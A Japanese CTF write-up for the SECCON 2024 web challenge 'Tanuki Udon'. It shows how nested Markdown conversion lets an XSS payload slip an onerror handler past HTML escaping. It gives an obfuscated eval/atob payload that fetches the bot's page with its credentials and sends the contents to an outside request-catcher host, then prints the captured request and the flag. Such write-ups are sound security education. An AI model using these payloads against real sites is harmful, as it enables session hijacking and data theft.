#157 [SECCON2024] Tanuki Udon
2024/11/23 - 2024/11/24に開催されたSECCON CTFに参加しました。なんとか国内決勝の進出が決まっています。CTF決勝は、セキュリティの勉強を始めたときからの憧れだったので、めちゃくちゃうれしいです。チームに貢献できるよう、勉強に励みます。
さて、今回はSECCON CTFで出題されたWeb問「Tanuki Udon」のWriteupです。
作問者の方は、非想定解を作りこんでしまったとかで大変嘆いておられましたが、私にはなんのことかわかりません。僕にもあっさり解けてしまったということは、非想定解を引き当てたということだと思いますが、正解は正解ですよね。
Tanuki Udon
設問は、Markdownk形式でノートを投稿できるアプリを題材にしたものでした。MarkdownからHTMLへの変換処理を悪用し、XSSを発火させることができます。
1. MarkdownによるXSS
ノートでは"や<>のような特殊記号は事前にエスケープされてしまうため、imgタグのsrcをはみ出したり、別のHTMLタグを埋め込むことはできません。ただしMarkdownの表現を使うことで、いくつかの種類のHTMLタグを埋め込むことができます。使用できるHTMLタグは以下の通りです。
web/markdown.js
const markdown = (content) => {
const escaped = escapeHtml(content);
return escaped
.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
.replace(/ $/mg, `<br>`);
}
ここで、Markdownの表現を二重に適用されるような表現を考えます。例えば、imgタグの要素の中にaタグを埋め込む場合、以下のような表現になります。
![img_alt[a_text](img_src)](a_link)
この表現が生成するHTMLは以下のようになります。
// imgタグの変換後
<img alt="img_alt[a_text" src="img_src">](a_link)
// aタグの変換後
<img alt="img_alt<a href="a_link">a_text" src="img_src"></img></a>
このとき、`a_link`にあたる部分は、imgタグのalt要素をはみ出しています。ここに新たな要素を追加することで、任意のJavaScriptを実行することができることがわかりました。
![img_alt[a_text](img_src)]( onerror=alert`1` src=x)
<img alt="img_alt<a href=" onerror=alert`1` src=x">a_text" src="img_src"></img></a>
2. 情報の窃取
ここからは、XSSを利用して、Botが投稿するフラグを窃取する方法を考えます。
XSSで実行するJavaScriptペイロードに、エスケープによって置換される文字やMarkdownの表現と解釈される文字は使うことを避けたいところです。よって、次の文字は使用しません。!)&'"<>
この条件のもと、evalとatobをつかって、Base64エンコードしたペイロードを実行するJavaScriptが以下になります。<Base64ペイロード>の部分にペイロードを埋め込む形となります。
eval.apply`${[`eval\x28\atob\x28\x22<Base64ペイロード>\x22\x29\x29`]}`
フラグが保存されたノートは、IDさえ判明すれば誰でもアクセスが可能でした。Botのセッションを使って、ノートの一覧が含まれるトップページ(/)の内容を取得し、攻撃サーバーに送信させればフラグを取得できそうです。
これは次のようなJavaScriptで実現できます。
fetch('http://web:3000/', {credentials: 'include'}).then(res => res.text()).then(data => {var e=btoa(encodeURIComponent(data));fetch('https://ctftkusa.requestcatcher.com/?html='+e)})
これをBase64エンコードし、evalでラップすると下記のようになります。
eval.apply`${[`eval\x28\atob\x28\x22ZmV0Y2goJ2h0dHA6Ly93ZWI6MzAwMC8nLCB7Y3JlZGVudGlhbHM6ICdpbmNsdWRlJ30pLnRoZW4ocmVzID0+IHJlcy50ZXh0KCkpLnRoZW4oZGF0YSA9PiB7dmFyIGU9YnRvYShlbmNvZGVVUklDb21wb25lbnQoZGF0YSkpO2ZldGNoKCdodHRwczovL2N0ZnRrdXNhLnJlcXVlc3RjYXRjaGVyLmNvbS8/aHRtbD0nK2UpfSk=\x22\x29\x29`]}`
最終的に、Botに閲覧させるノートに登録する内容は以下になります。
![img_alt[a_text](img_src)](onerror=eval.apply`${[`eval\x28\atob\x28\x22ZmV0Y2goJ2h0dHA6Ly93ZWI6MzAwMC8nLCB7Y3JlZGVudGlhbHM6ICdpbmNsdWRlJ30pLnRoZW4ocmVzID0+IHJlcy50ZXh0KCkpLnRoZW4oZGF0YSA9PiB7dmFyIGU9YnRvYShlbmNvZGVVUklDb21wb25lbnQoZGF0YSkpO2ZldGNoKCdodHRwczovL2N0ZnRrdXNhLnJlcXVlc3RjYXRjaGVyLmNvbS8/aHRtbD0nK2UpfSk=\x22\x29\x29`]}` src=x)
3. フラグの取得
上記で作成したノートをBotに閲覧させると、攻撃サーバーで次のようなリクエスト受け取ることができます。
GET /?html=JTNDIURPQ1RZUEUlMjBodG1sJTNFJTBBJTNDaHRtbCUzRSUwQSUzQ2hlYWQlM0UlMEElMjAlMjAlM0NtZXRhJTIwY2hhcnNldCUzRCUyMnV0Zi04JTIyJTNFJTBBJTIwJTIwJTNDbGluayUyMHJlbCUzRCUyMnN0eWxlc2hlZXQlMjIlMjBocmVmJTNEJTIyaHR0cHMlM0ElMkYlMkZjZG4uanNkZWxpdnIubmV0JTJGbnBtJTJGJTQwcGljb2NzcyUyRnBpY28lNDAyJTJGY3NzJTJGcGljby5taW4uY3NzJTIyJTNFJTBBJTIwJTIwJTNDdGl0bGUlM0VUYW51a2lVZG9uJTNDJTJGdGl0bGUlM0UlMEElM0MlMkZoZWFkJTNFJTBBJTNDYm9keSUzRSUwQSUyMCUyMCUzQ21haW4lMjBjbGFzcyUzRCUyMmNvbnRhaW5lciUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ2hlYWRlciUzRSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUzQyEtLSUyMEluJTIwZmFjdCUyQyUyMHRoaXMlMjBlbW9qaSUyMGlzJTIwbm90JTIwdGFudWtpLiUyMEl0J3MlMjByYWNjb29uJTIwLS0lM0UlMEElMjAlMjAlMjAlMjAlMjAlMjAlM0NoMSUzRSVGMCU5RiVBNiU5RCUyMFRhbnVraSUyMFVkb24lM0MlMkZoMSUzRSUwQSUyMCUyMCUyMCUyMCUzQyUyRmhlYWRlciUzRSUwQSUyMCUyMCUyMCUyMCUzQ3NlY3Rpb24lM0UlMEElMjAlMjAlMjAlMjAlMjAlMjAlM0NwJTNFWW91ciUyMG5vdGVzJTNBJTNDJTJGcCUzRSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUzQ3VsJTNFJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDbGklM0UlM0NhJTIwaHJlZiUzRCUyMiUyRm5vdGUlMkZhMjM3ZGM5YTE3MWMxYTA1JTIyJTNFRmxhZyUzQyUyRmElM0UlM0MlMkZsaSUzRSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUzQyUyRnVsJTNFJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTNDYSUyMGhyZWYlM0QlMjIlMkZjbGVhciUyMiUzRUNsZWFyJTIwbm90ZXMlM0MlMkZhJTNFJTBBJTIwJTIwJTIwJTIwJTNDJTJGc2VjdGlvbiUzRSUwQSUyMCUyMCUyMCUyMCUzQ3NlY3Rpb24lM0UlMEElMjAlMjAlMjAlMjAlMjAlMjAlM0Nmb3JtJTIwYWN0aW9uJTNEJTIyJTJGbm90ZSUyMiUyMG1ldGhvZCUzRCUyMlBPU1QlMjIlM0UlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0NsYWJlbCUyMGZvciUzRCUyMnRpdGxlSW5wdXQlMjIlM0VUaXRsZSUzQSUyMCUzQyUyRmxhYmVsJTNFJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDaW5wdXQlMjBpZCUzRCUyMnRpdGxlSW5wdXQlMjIlMjB0eXBlJTNEJTIyaW5wdXQlMjIlMjBuYW1lJTNEJTIydGl0bGUlMjIlM0UlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0NsYWJlbCUyMGZvciUzRCUyMmNvbnRlbnRJbnB1dCUyMiUzRUNvbnRlbnQlM0ElMjAlM0MlMkZsYWJlbCUzRSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQ3RleHRhcmVhJTIwaWQlM0QlMjJjb250ZW50SW5wdXQlMjIlMjB0eXBlJTNEJTIyaW5wdXQlMjIlMjBuYW1lJTNEJTIyY29udGVudCUyMiUzRSUzQyUyRnRleHRhcmVhJTNFJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDaW5wdXQlMjB0eXBlJTNEJTIyc3VibWl0JTIyJTIwaWQlM0QlMjJjcmVhdGVOb3RlJTIyJTIwdmFsdWUlM0QlMjJDcmVhdGUlMjBub3RlJTIyJTNFJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTNDJTJGZm9ybSUzRSUwQSUyMCUyMCUyMCUyMCUzQyUyRnNlY3Rpb24lM0UlMEElMjAlMjAlM0MlMkZtYWluJTNFJTBBJTNDJTJGYm9keSUzRSUwQSUzQyUyRmh0bWwlM0U= HTTP/1.1
Host: ctftkusa.requestcatcher.com
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Origin: http://web:3000
Referer: http://web:3000/
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.0.0 Safari/537.36
htmlパラメータの内容をBase64デコードすると、Botが登録したノートへのリンクが判明しました。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css">
<title>TanukiUdon</title>
</head>
<body>
<main class="container">
<header>
<!-- In fact, this emoji is not tanuki. It's raccoon -->
<h1>🦝 Tanuki Udon</h1>
</header>
<section>
<p>Your notes:</p>
<ul>
<li><a href="/note/a237dc9a171c1a05">Flag</a></li>
</ul>
<a href="/clear">Clear notes</a>
</section>
<section>
<form action="/note" method="POST">
<label for="titleInput">Title: </label>
<input id="titleInput" type="input" name="title">
<label for="contentInput">Content: </label>
<textarea id="contentInput" type="input" name="content"></textarea>
<input type="submit" id="createNote" value="Create note">
</form>
</section>
</main>
</body>
</html>
/note/a237dc9a171c1a05へアクセスすると、フラグが表示されました。
SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}
フラグを見るに、Chromeの仕様の穴をついて何かするべきだったようです。公式のWriteupが気になります…
まとめ
Webの問題は、ちょっとした仕様の差・解釈の差をついて防御をすり抜けるような内容が多かった印象です。RFCを丸暗記すれば無双できるかな… 頑張ります。
EOF